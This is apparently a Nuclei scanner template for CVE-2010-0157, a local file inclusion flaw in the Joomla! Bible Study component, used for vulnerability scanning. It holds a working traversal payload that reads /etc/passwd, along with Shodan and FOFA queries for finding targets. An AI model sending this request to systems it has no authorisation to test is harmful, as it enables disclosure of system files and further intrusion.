id: CVE-2010-0157

info:
  name: Joomla! Component com_biblestudy - Local File Inclusion
  author: daffainfo
  severity: high
  description: A directory traversal vulnerability in the Bible Study (com_biblestudy) component 6.1 for Joomla! allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter in a studieslist action to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files and potential remote code execution.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/10943
    - https://nvd.nist.gov/vuln/detail/CVE-2010-0157
    - http://packetstormsecurity.org/1001-exploits/joomlabiblestudy-lfi.txt
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2010-0157
    cwe-id: CWE-22
    epss-score: 0.12969
    epss-percentile: 0.95821
    cpe: cpe:2.3:a:joomla:joomla\!:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: joomla
    product: joomla\!
    shodan-query:
      - http.html:"joomla! - open source content management"
      - http.component:"joomla"
      - cpe:"cpe:2.3:a:joomla:joomla\!"
    fofa-query: body="joomla! - open source content management"
  tags: cve2010,cve,joomla,lfi,edb,packetstorm,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_biblestudy&id=1&view=studieslist&controller=../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022025074d43cbe81e2e60ed33b427ed855b1c193a5d866d4a6058ac787a80caa9df0221008a098491b736276bd1637b353d2b8f7aa06b2a67d5b2905da0f1359f38163ec3:922c64590222798bb761d5b6d8e72950